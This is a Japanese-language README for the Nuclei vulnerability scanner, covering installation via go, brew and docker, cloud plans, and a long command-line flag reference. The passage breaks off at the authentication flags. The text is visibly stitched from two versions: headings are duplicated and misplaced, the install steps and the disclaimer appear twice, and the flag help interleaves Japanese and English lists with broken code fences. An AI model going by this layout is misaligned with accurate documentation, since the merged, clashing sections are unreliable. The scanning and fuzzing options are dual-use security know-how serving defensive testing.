<a href="https://github.com/projectdiscovery/nuclei-templates"><img src="https://img.shields.io/badge/Templates Library-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMS41IiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLXNoaWVsZCI+PHBhdGggZD0iTTIwIDEzYzAgNS0zLjUgNy41LTcuNjYgOC45NWExIDEgMCAwIDEtLjY3LS4wMUM3LjUgMjAuNSA0IDE4IDQgMTNWNmExIDEgMCAwIDEgMS0xYzIgMCA0LjUtMS4yIDYuMjQtMi43MmExLjE3IDEuMTcgMCAwIDEgMS41MiAwQzE0LjUxIDMuODEgMTcgNSAxOSA1YTEgMSAwIDAgMSAxIDF6Ii8+PC9zdmc+&logoColor=white"></a>
|
||||
|
||||
<a href="https://discord.gg/projectdiscovery?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Discord-%235865F2.svg?style=for-the-badge&logo=discord&logoColor=white"></a>
|
||||
|
||||
<hr>
|
||||
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#how-it-works">動作原理</a> •
|
||||
<a href="#install-nuclei">インストール</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/">ドキュメント</a> •
|
||||
<a href="#credits">クレジット</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">FAQ</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
|
||||
</p>
|
||||
<br>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">英語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中国語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">韓国語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">インドネシア語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">スペイン語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">ポルトガル語</a>
|
||||
</p>
|
||||
**Nuclei は、シンプルな YAML ベースのテンプレートを活用する、モダンで高性能な脆弱性スキャナーです。実環境の条件を再現したカスタム脆弱性検出シナリオを設計でき、誤検知をゼロにします。**
|
||||
|
||||
---
|
||||
- 脆弱性テンプレートを作成・カスタマイズするためのシンプルな YAML フォーマット。
|
||||
- トレンドの脆弱性に対応するため、数千人のセキュリティ専門家が貢献。
|
||||
- 実環境の手順をシミュレートして脆弱性を検証することで誤検知を削減。
|
||||
- 超高速な並列スキャン処理とリクエストクラスタリング。
|
||||
- 脆弱性検出と回帰テストのために CI/CD パイプラインに統合可能。
|
||||
- TCP、DNS、HTTP、SSL、WHOIS、JavaScript、Code など複数のプロトコルに対応。
|
||||
- Jira、Splunk、GitHub、Elastic、GitLab と統合可能。
|
||||
|
||||
Nucleiは、テンプレートに基づいてターゲット間でリクエストを送信するために使用され、偽陽性がゼロであり、多数のホストで高速なスキャンを提供します。Nucleiは、TCP、DNS、HTTP、SSL、ファイル、Whois、Websocket、Headless、Codeなど、さまざまなプロトコルのスキャンを提供します。強力で柔軟なテンプレートを使用して、Nucleiはすべての種類のセキュリティチェックをモデル化するために使用できます。
|
||||
<br>
|
||||
<br>
|
||||
|
||||
**300人以上の** セキュリティ研究者およびエンジニアが提供するさまざまなタイプの脆弱性テンプレートを収容する[専用リポジトリ](https://github.com/projectdiscovery/nuclei-templates)を持っています。
|
||||
## 目次
|
||||
|
||||
## 動作原理
|
||||
- [**`はじめに`**](#はじめに)
|
||||
- [_`1. Nuclei CLI`_](#1-nuclei-cli)
|
||||
- [_`2. Pro とエンタープライズ版`_](#2-pro-とエンタープライズ版)
|
||||
- [**`ドキュメント`**](#ドキュメント)
|
||||
- [_`コマンドラインフラグ`_](#コマンドラインフラグ)
|
||||
- [_`単一ターゲットスキャン`_](#単一ターゲットスキャン)
|
||||
- [_`複数ターゲットスキャン`_](#複数ターゲットスキャン)
|
||||
- [_`ネットワークスキャン`_](#ネットワークスキャン)
|
||||
- [_`カスタムテンプレートでのスキャン`_](#カスタムテンプレートでのスキャン)
|
||||
- [_`Nuclei を ProjectDiscovery に接続`_](#nuclei-を-projectdiscovery-に接続)
|
||||
- [**`Nuclei テンプレート、コミュニティと報奨`**](#nuclei-テンプレートコミュニティと報奨-) 💎
|
||||
- [**`私たちのミッション`**](#私たちのミッション)
|
||||
- [**`コントリビューター`**](#コントリビューター-heart) ❤
|
||||
- [**`ライセンス`**](#ライセンス)
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
| :exclamation: **免責事項** |
|
||||
|---------------------------------|
|
||||
| **このプロジェクトは積極的に開発されています**。リリースによって重大な変更が発生することがあります。更新する前にリリースの変更ログを確認してください。 |
|
||||
| このプロジェクトは主にスタンドアロンのCLIツールとして使用されることを目的として構築されました。**Nucleiをサービスとして実行すると、セキュリティリスクが生じる可能性があります。**注意して使用し、追加のセキュリティ対策を講じることをお勧めします。 |
|
||||
## はじめに
|
||||
|
||||
# Nucleiのインストール
|
||||
### **1. Nuclei CLI**
|
||||
|
||||
Nucleiを正常にインストールするには、**go1.24.2**が必要です。以下のコマンドを実行して最新バージョンをインストールしてください -
|
||||
_お使いのマシンに Nuclei をインストールしてください。[**`こちら`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)のインストールガイドに従って始めることができます。さらに、毎月の無料利用枠が豊富な[**`無料クラウドプラン`**](https://cloud.projectdiscovery.io/sign-up)も提供しています:_
|
||||
|
||||
- 脆弱性の検出結果を保存・可視化
|
||||
- nuclei テンプレートの作成と管理
|
||||
- 最新の nuclei テンプレートへのアクセス
|
||||
- ターゲットの発見と保存
|
||||
|
||||
> [!Important]
|
||||
> |**このプロジェクトは活発に開発中です**。リリースごとに破壊的変更が発生する可能性があります。アップデート前にリリース ChangeLog を確認してください。|
|
||||
> |:--------------------------------|
|
||||
> | このプロジェクトは主にスタンドアロンの CLI ツールとして使用するように構築されています。**nuclei をサービスとして実行すると、セキュリティ上のリスクが生じる可能性があります。** 注意して使用し、追加のセキュリティ対策を講じることをお勧めします。 |
|
||||
|
||||
<br>
|
||||
|
||||
### **2. Pro とエンタープライズ版**
|
||||
|
||||
_セキュリティチームや企業向けに、Nuclei OSS の上に構築されたクラウドホスティングサービスを提供しています。チームや既存のワークフローを使って、大規模に継続的な脆弱性スキャンを実行できるよう最適化されています:_
|
||||
|
||||
- 50 倍高速なスキャン
|
||||
- 高精度な大規模スキャン
|
||||
- クラウドサービスとの連携 (AWS、GCP、Azure、Cloudflare、Fastly、Terraform、Kubernetes)
|
||||
- Jira、Slack、Linear、API、Webhook
|
||||
- エグゼクティブおよびコンプライアンスレポート
|
||||
- さらに: リアルタイムスキャン、SAML SSO、SOC 2 準拠プラットフォーム (EU と US のホスティングオプションあり)、チーム間で共有するワークスペースなど
|
||||
- 新機能を継続的に[**`追加しています`**](https://feedback.projectdiscovery.io/changelog)!
|
||||
- **適しているのは:** ペネトレーションテスター、セキュリティチーム、企業
|
||||
|
||||
大規模な組織で複雑な要件をお持ちの場合は、[**`Pro にサインアップ`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)するか、[**`当社チームにご相談`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)ください。
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## ドキュメント
|
||||
|
||||
Nuclei の完全な[**`ドキュメントはこちら`**](https://docs.projectdiscovery.io/tools/nuclei/running)からご覧いただけます。Nuclei が初めての方は、[**`基礎的な YouTube シリーズ`**](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl)もぜひご覧ください。
|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://www.youtube.com/watch?v=b5qMyQvL1ZA&list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-getting-started.png" width="350px"></a> <a href="https://www.youtube.com/watch?v=nFXygQdtjyw&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-write-your-first-template.png" width="350px"></a>
|
||||
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
### インストール
|
||||
|
||||
`nuclei` のインストールには **go >= 1.24.2** が必要です。以下のコマンドを実行してリポジトリを取得してください:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Brew</summary>
|
||||
|
||||
```sh
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
</details>
|
||||
<details>
|
||||
<summary>Docker</summary>
|
||||
|
||||
```sh
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
</details>
|
||||
nuclei のインストールについて詳しくは `https://docs.projectdiscovery.io/tools/nuclei/install` を参照してください。
|
||||
|
||||
**より多くのインストール方法は[こちら](https://docs.projectdiscovery.io/tools/nuclei/install)で見つけることができます。**
|
||||
### コマンドラインフラグ
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### Nucleiテンプレート
|
||||
|
||||
Nucleiは、バージョン[v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2)以降、デフォルトでテンプレートの自動ダウンロード/更新をサポートしています。[**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates)プロジェクトは、常に更新されるコミュニティ提供の即時使用可能なテンプレートのリストを提供します。
|
||||
|
||||
`update-templates`フラグを使用して、いつでもNucleiテンプレートを更新することができます。Nucleiの[テンプレートガイド](https://docs.projectdiscovery.io/templates/)に従って、個々のワークフローとニーズに合わせた独自のチェックを作成することができます。
|
||||
|
||||
YAML DSLの構文リファレンスは[こちら](SYNTAX-REFERENCE.md)で確認できます。
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
### 使用方法
|
||||
ツールの全フラグを表示するには:
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
これにより、ツールのヘルプが表示されます。ここには、サポートされているすべてのスイッチがあります。
|
||||
<details>
|
||||
<summary>全てのヘルプフラグを展開</summary>
|
||||
|
||||
```console
|
||||
Nucleiは、広範な設定可能性、大規模な拡張性、および使いやすさに焦点を当てた、
|
||||
高速でテンプレートベースの脆弱性スキャナーです。
|
||||
```yaml
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
使用法:
|
||||
Usage:
|
||||
./nuclei [flags]
|
||||
|
||||
フラグ:
|
||||
ターゲット:
|
||||
-u, -target string[] スキャンする対象のURL/ホスト
|
||||
-l, -list string スキャンする対象のURL/ホストのリストが含まれているファイルへのパス(1行に1つ)
|
||||
-resume string 指定されたファイルからスキャンを再開し、指定されたファイルに保存(クラスタリングは無効になります)
|
||||
-sa, -scan-all-ips DNSレコードに関連付けられているすべてのIPをスキャン
|
||||
-iv, -ip-version string[] ホスト名のスキャンするIPバージョン(4,6)-(デフォルトは4)
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-targets-inline string inline multiline target list (for use in template profiles)
|
||||
-eh, -exclude-hosts string[] hosts to exclude to scan from the input list (ip, cidr, hostname)
|
||||
-resume string resume scan from and save to specified file (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
テンプレート:
|
||||
-nt, -new-templates 最新のnuclei-templatesリリースに追加された新しいテンプレートのみを実行
|
||||
-ntv, -new-templates-version string[] 特定のバージョンに追加された新しいテンプレートを実行
|
||||
-as, -automatic-scan wappalyzer技術検出をタグマッピングに使用した自動Webスキャン
|
||||
-t, -templates string[] 実行するテンプレートまたはテンプレートディレクトリのリスト(カンマ区切り、ファイル)
|
||||
-turl, -template-url string[] 実行するテンプレートのURLまたはテンプレートURLのリスト(カンマ区切り、ファイル)
|
||||
-w, -workflows string[] 実行するワークフローまたはワークフローディレクトリのリスト(カンマ区切り、ファイル)
|
||||
-wurl, -workflow-url string[] 実行するワークフローのURLまたはワークフローURLのリスト(カンマ区切り、ファイル)
|
||||
-validate Nucleiに渡されたテンプレートを検証
|
||||
-nss, -no-strict-syntax テンプレートで厳密な構文チェックを無効にする
|
||||
-td, -template-display テンプレートの内容を表示
|
||||
-tl 利用可能なすべてのテンプレートをリスト
|
||||
-sign NUCLEI_SIGNATURE_PRIVATE_KEY環境変数で定義された秘密鍵でテンプレートに署名
|
||||
-code コードプロトコルベースのテンプレートのロードを有効にする
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger, http) (default "list")
|
||||
-ro, -required-only use only required fields in input format when generating requests
|
||||
-sfv, -skip-format-validation skip format validation (like missing vars) when parsing input file
|
||||
-vtt, -vars-text-templating enable text templating for vars in input file (only for yaml input mode)
|
||||
-vfp, -var-file-paths string[] list of yaml file contained vars to inject into yaml input
|
||||
|
||||
フィルタリング:
|
||||
-a, -author string[] 作者に基づいて実行するテンプレート(カンマ区切り、ファイル)
|
||||
-tags string[] タグに基づいて実行するテンプレート(カンマ区切り、ファイル)
|
||||
-etags, -exclude-tags string[] タグに基づいて除外するテンプレート(カンマ区切り、ファイル)
|
||||
-itags, -include-tags string[] デフォルトまたは設定によって除外されている場合でも実行する必要があるタグ
|
||||
-id, -template-id string[] テンプレートIDに基づいて実行するテンプレート(カンマ区切り、ファイル)
|
||||
-eid, -exclude-id string[] テンプレートIDに基づいて除外するテンプレート(カンマ区切り、ファイル)
|
||||
-it, -include-templates string[] デフォルトまたは設定によって除外されている場合でも実行する必要があるテンプレート
|
||||
-et, -exclude-templates string[] 除外するテンプレートまたはテンプレートディレクトリへのパス(カンマ区切り、ファイル)
|
||||
-em, -exclude-matchers string[] 結果で除外するテンプレートマッチャー
|
||||
-s, -severity value[] 重大度に基づいて実行するテンプレート。可能な値:info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] 重大度に基づいて除外するテンプレート。可能な値:info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] プロトコルタイプに基づいて実行するテンプレート。可能な値:dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] プロトコルタイプに基づいて除外するテンプレート。可能な値:dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] 式条件に基づいて実行するテンプレート
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-ai, -prompt string generate and run template using ai prompt
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
-tgl list all available tags
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
-dut, -disable-unsigned-templates disable running unsigned templates or templates with mismatched signature
|
||||
-esc, -enable-self-contained enable loading self-contained templates
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
|
||||
出力:
|
||||
-o, -output string 発見された問題/脆弱性を書き込む出力ファイル
|
||||
-sresp, -store-resp Nucleiを通じて渡されたすべてのリクエスト/レスポンスを出力ディレクトリに保存
|
||||
-srd, -store-resp-dir string Nucleiを通じて渡されたすべてのリクエスト/レスポンスをカスタムディレクトリに保存(デフォルトは「output」)
|
||||
-silent 結果のみを表示
|
||||
-nc, -no-color 出力内容の着色を無効にする(ANSIエスケープコード)
|
||||
-j, -jsonl JSONL(ines)形式で出力を書き込む
|
||||
-irr, -include-rr -omit-raw JSON、JSONL、Markdown出力にリクエスト/レスポンスペアを含める(発見のみ)[非推奨 -omit-raw使用](デフォルトはtrue)
|
||||
-or, -omit-raw JSON、JSONL、Markdown出力でリクエスト/レスポンスペアを省略する(発見のみ)
|
||||
-ot, -omit-template JSON、JSONL出力でエンコードされたテンプレートを省略
|
||||
-nm, -no-meta CLI出力で結果のメタデータの印刷を無効にする
|
||||
-ts, -timestamp CLI出力にタイムスタンプを印刷することを有効にする
|
||||
-rdb, -report-db string Nucleiレポートデータベース(レポートデータを永続化するために常にこれを使用)
|
||||
-ms, -matcher-status マッチ失敗のステータスを表示
|
||||
-me, -markdown-export string Markdown形式で結果をエクスポートするディレクトリ
|
||||
-se, -sarif-export string SARIF形式で結果をエクスポートするファイル
|
||||
-je, -json-export string JSON形式で結果をエクスポートするファイル
|
||||
-jle, -jsonl-export string JSONL(ine)形式で結果をエクスポートするファイル
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] path to template file or directory to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] path to template file or directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
設定:
|
||||
-config string Nucleiの設定ファイルへのパス
|
||||
-fr, -follow-redirects HTTPテンプレートのリダイレクトをフォローすることを有効にする
|
||||
-fhr, -follow-host-redirects
|
||||
OUTPUT:
|
||||
-o, -output string output file to write found issues/vulnerabilities
|
||||
-sresp, -store-resp store all request/response passed through nuclei to output directory
|
||||
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-j, -jsonl write output in JSONL(ines) format
|
||||
-irr, -include-rr -omit-raw include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-or, -omit-raw omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
|
||||
-ot, -omit-template omit encoded template in the JSON, JSONL output
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
-ms, -matcher-status display match failure status
|
||||
-me, -markdown-export string directory to export results in markdown format
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-pe, -pdf-export string file to export results in PDF format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string path to the nuclei configuration file
|
||||
-tp, -profile string template profile config file to run
|
||||
-tpl, -profile-list list community template profiles
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
-dr, -disable-redirects disable redirects for http templates
|
||||
-rc, -report-config string nuclei reporting module configuration file
|
||||
-H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file)
|
||||
-V, -var value custom vars in key=value format
|
||||
-r, -resolvers string file containing resolver list for nuclei
|
||||
-sr, -system-resolvers use system DNS resolving as error fallback
|
||||
-dc, -disable-clustering disable clustering of requests
|
||||
-passive enable passive HTTP response processing mode
|
||||
-fh2, -force-http2 force http2 connection on requests
|
||||
-ev, -env-vars enable environment variables to be used in template
|
||||
-cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-dka, -dialer-keep-alive value keep-alive duration for network requests.
|
||||
-lfa, -allow-local-file-access allows file (payload) access anywhere on the system
|
||||
-lna, -restrict-local-network-access blocks connections to the local / private network
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string authentication token for self-hosted interactsh server
|
||||
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
|
||||
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
|
||||
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
|
||||
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
-fuzz enable loading fuzzing templates (Deprecated: use -dast instead)
|
||||
-dast enable / run dast (fuzz) nuclei templates
|
||||
-dts, -dast-server enable dast server mode (live fuzzing)
|
||||
-dtr, -dast-report write dast scan report to file
|
||||
-dtst, -dast-server-token string dast server token (optional)
|
||||
-dtsa, -dast-server-address string dast server address (default "localhost:9055")
|
||||
-dfp, -display-fuzz-points display fuzz points in the output for debugging
|
||||
-fuzz-param-frequency int frequency of uninteresting parameters for fuzzing before skipping (default 10)
|
||||
-fa, -fuzz-aggression string fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")
|
||||
-cs, -fuzz-scope string[] in scope url regex to be followed by fuzzer
|
||||
-cos, -fuzz-out-scope string[] out of scope url regex to be excluded by fuzzer
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ur, -uncover-ratelimit int override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rld, -rate-limit-duration value maximum number of requests to send per second (default 1s)
|
||||
-per-host-rate-limit enable per-host rate limiting (global rate limit becomes unlimited when enabled)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute (DEPRECATED)
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
-jsc, -js-concurrency int maximum number of javascript runtimes to be executed in parallel (default 120)
|
||||
-pc, -payload-concurrency int max payload concurrency for each template (default 25)
|
||||
-prc, -probe-concurrency int http probe concurrency with httpx (default 50)
|
||||
-tlc, -template-loading-concurrency int maximum number of concurrent template loading operations (default 50)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path (default "/tmp")
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout value timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-preflight-portscan run preflight resolve + TCP portscan and filter targets before scanning (disabled by default)
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-ho, -headless-options string[] start headless chrome with additional options
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-cdpe, -cdp-endpoint string use remote browser via Chrome DevTools Protocol (CDP) endpoint
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string generate memory (heap) profile & trace files
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-vdl, -var-dump-limit int limit the number of characters displayed in var dump (default 255)
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
-hpt, -honeypot-threshold int number of distinct template IDs required to flag a honeypot host (default 15)
|
||||
-shp, -suppress-honeypot suppress output for flagged honeypot hosts
|
||||
|
||||
STATISTICS:
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json display statistics in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
-hps, -http-stats enable http status capturing (experimental)
|
||||
|
||||
CLOUD:
|
||||
-auth configure projectdiscovery cloud (pdcp) api key (default true)
|
||||
-tid, -team-id string upload scan results to given team id (optional) (default "none")
|
||||
-cup, -cloud-upload upload scan results to pdcp dashboard [DEPRECATED use -dashboard]
|
||||
-sid, -scan-id string upload scan results to existing scan id (optional)
|
||||
-sname, -scan-name string scan name to set (optional)
|
||||
-pd, -dashboard upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard
|
||||
-pdu, -dashboard-upload string upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard
|
||||
|
||||
AUTHENTICATION:
|
||||
